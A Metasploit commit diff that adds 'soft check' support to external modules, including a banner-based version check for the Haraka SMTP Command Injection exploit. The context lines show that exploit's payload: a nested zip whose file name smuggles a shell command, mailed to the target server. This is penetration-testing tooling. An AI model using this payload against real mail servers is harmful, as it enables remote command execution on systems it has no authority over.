Land #10009, Add initial check support to external modules

4.x
Brent Cook 2018-05-18 09:31:31 -05:00 committed by Jeffrey Martin
parent 9e326d7c88
commit 9b152cec72
No known key found for this signature in database
GPG Key ID: 0CD9BBC2AF15F171
8 changed files with 99 additions and 12 deletions

View File

@ -107,6 +107,14 @@ class Exploit < Msf::Module
# The module does not support the check method.
#
Unsupported = [ 'unsupported', "This module does not support check." ]
#
# Hash for looking up codes by short name
#
Codes = [Unknown, Safe, Detected, Appears, Vulnerable, Unsupported].reduce({}) do |codes, code|
codes[code.first] = code
codes
end.freeze
end
#

View File

@ -4,7 +4,7 @@ module Msf::Module::External
include Msf::Auxiliary::Report
include Msf::Module::Auth
def execute_module(path, method: :run, args: datastore)
def execute_module(path, method: :run, args: datastore, fail_on_exit: true)
mod = Msf::Modules::External.new(path, framework: framework)
success = mod.exec(method: method, args: args) do |m|
begin
@ -14,7 +14,7 @@ module Msf::Module::External
when :report
process_report(m, mod)
when :reply
# Nothing useful yet
return m.params['return']
end
rescue Interrupt => e
raise e
@ -24,7 +24,7 @@ module Msf::Module::External
end
end
fail_with Msf::Module::Failure::Unknown, "Module exited abnormally" if !success
fail_with Msf::Module::Failure::Unknown, "Module exited abnormally" if fail_on_exit && !success
end
def log_output(m)

View File

@ -75,15 +75,32 @@ def report_wrong_password(username, password, **opts):
report('wrong_password', info)
def run(metadata, module_callback):
def run(metadata, module_callback, soft_check=None):
req = json.loads(os.read(0, 10000).decode("utf-8"))
callback = None
if req['method'] == 'describe':
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': metadata})
caps = []
if soft_check:
caps.append('soft_check')
meta = metadata.copy()
meta.update({'capabilities': caps})
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': meta})
elif req['method'] == 'soft_check':
if soft_check:
callback = soft_check
else:
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'error': {'code': -32601, 'message': 'Soft checks are not supported'}})
elif req['method'] == 'run':
callback = module_callback
if callback:
args = req['params']
module_callback(args)
ret = callback(args)
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': {
'message': 'Module completed'
'message': 'Module completed',
'return': ret
}})

View File

@ -33,18 +33,36 @@ module Metasploit
report(:wrong_password, opts.merge(username: username, password: password))
end
def run(metadata, callback)
def run(metadata, callback, soft_check: nil)
self.logging_prefix = ''
cb = nil
req = JSON.parse($stdin.readpartial(10000), symbolize_names: true)
if req[:method] == 'describe'
capabilities = []
capabilities << 'soft_check' if soft_check
meta = metadata.merge(capabilities: capabilities)
rpc_send({
jsonrpc: '2.0', id: req[:id], result: metadata
jsonrpc: '2.0', id: req[:id], result: meta
})
elsif req[:method] == 'soft_check'
if soft_check
cb = soft_check
else
rpc_send({
jsonrpc: '2.0', id: req[:id], error: {code: -32601, message: 'Soft checks are not supported'}
})
end
elsif req[:method] == 'run'
callback.call req[:params]
cb = callback
end
if cb
ret = cb.call req[:params]
rpc_send({
jsonrpc: '2.0', id: req[:id], result: {
message: 'Module completed'
message: 'Module completed',
'return' => ret
}
})
end

View File

@ -32,6 +32,10 @@ class Msf::Modules::External::Shim
render_template('common_metadata.erb', meta)
end
def self.common_check(meta = {})
render_template('common_check.erb', meta)
end
def self.mod_meta_common(mod, meta = {}, drop_rhost: false)
meta[:path] = mod.path.dump
meta[:name] = mod.meta['name'].dump
@ -54,6 +58,8 @@ class Msf::Modules::External::Shim
[#{o['required']}, #{o['description'].dump}, #{o['default'].inspect}])"
end
end.join(",\n ")
meta[:capabilities] = mod.meta['capabilities']
meta
end

View File

@ -0,0 +1,7 @@
<% if meta[:capabilities].include? 'soft_check' %>
def check
code = execute_module(<%= meta[:path] %>, method: :soft_check, fail_on_exit: false) || 'unknown'
return Msf::Exploit::CheckCode::Codes[code]
end
<% end %>

View File

@ -34,6 +34,8 @@ class MetasploitModule < Msf::Exploit::Remote
])
end
<%= common_check meta %>
def execute_command(cmd, opts)
execute_module(<%= meta[:path] %>, args: datastore.merge(command: cmd))
end

View File

@ -10,6 +10,8 @@
# Thanks to: Dexlab.nl for asking me to look at Haraka.
import smtplib
import re
from distutils.version import StrictVersion
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.utils import COMMASPACE, formatdate
@ -21,6 +23,7 @@ import zipfile
import StringIO
from metasploit import module
metadata = {
'name': 'Haraka SMTP Command Injection',
'description': '''
@ -52,6 +55,7 @@ metadata = {
'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25}
}}
def send_mail(to, mailserver, cmd, mfrom, port):
msg = MIMEMultipart()
html = "harakiri"
@ -79,6 +83,7 @@ def send_mail(to, mailserver, cmd, mfrom, port):
s.close()
return(False)
class InMemoryZip(object):
def __init__(self):
self.in_memory_zip = StringIO.StringIO()
@ -92,6 +97,7 @@ class InMemoryZip(object):
self.in_memory_zip.seek(0)
return self.in_memory_zip.read()
def create_zip(cmd="touch /tmp/harakiri"):
z1 = InMemoryZip()
z2 = InMemoryZip()
@ -100,8 +106,31 @@ def create_zip(cmd="touch /tmp/harakiri"):
z1.append("a\";%s;echo \"a.zip"%cmd, z2.read())
return(z1.read())
def check_banner(args):
module.log('{}:{} Starting banner check for Haraka < 2.8.9'.format(args['rhost'], args['rport']), level='debug')
c = smtplib.SMTP()
(code, banner) = c.connect(args['rhost'], int(args['rport']))
c.quit()
if code == 220 and 'Haraka' in banner:
versions = re.findall('(\d+\.\d+\.\d+)', banner)
if versions:
if StrictVersion(versions[0]) < StrictVersion('2.8.9'):
return 'appears'
else:
return 'safe'
else:
return 'detected'
elif code == 220:
return 'detected'
else:
return 'unknown'
def exploit(args):
send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport']))
if __name__ == '__main__':
module.run(metadata, exploit)
module.run(metadata, exploit, soft_check=check_banner)